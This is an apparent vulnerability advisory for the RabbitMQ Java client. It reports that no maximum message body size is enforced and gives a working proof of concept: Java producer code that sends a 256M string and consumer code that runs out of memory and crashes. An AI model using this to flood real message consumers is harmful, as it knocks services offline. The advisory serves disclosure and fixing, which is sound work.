RabbitMQ Java client's Lack of Message Size Limitation leads to Remote DoS Attack

Summary

maxBodyLebgth was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.

PoC

RbbitMQ

• Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)
• Start RabbitMQ

Producer

• Build a String of length 256M and send it to Consumer

package org.springframework.amqp.helloworld; 

import org.springframework.amqp.core.AmqpTemplate; 
import org.springframework.context.ApplicationContext; 
import org.springframework.context.annotation.AnnotationConfigApplicationContext; 

public class Producer {
    public static void main(String[] args) {
        ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
        AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); 
        String s = "A";
        for(int i=0;i<28;++i){
            s = s + s;
            System.out.println(i);
        }
        amqpTemplate.convertAndSend(s);
        System.out.println("Send Finish");
    }
 }

Consumer

• First set the heap memory size to 128M
• Read the message sent by the Producer from the MQ and print the length

package org.springframework.amqp.helloworld;

import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.amqp.core.Message;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;

public class Consumer {
    
    public static void main(String[] args) {
        ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
        AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
        Object o = amqpTemplate.receiveAndConvert();
        if(o != null){
            String s = o.toString();
            System.out.println("Received Length : " + s.length());
        }else{
            System.out.println("null");
        }
    }
}

Results

• Run the Producer first, then the Consumer
• Consumer throws OOM Exception

Impact

Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.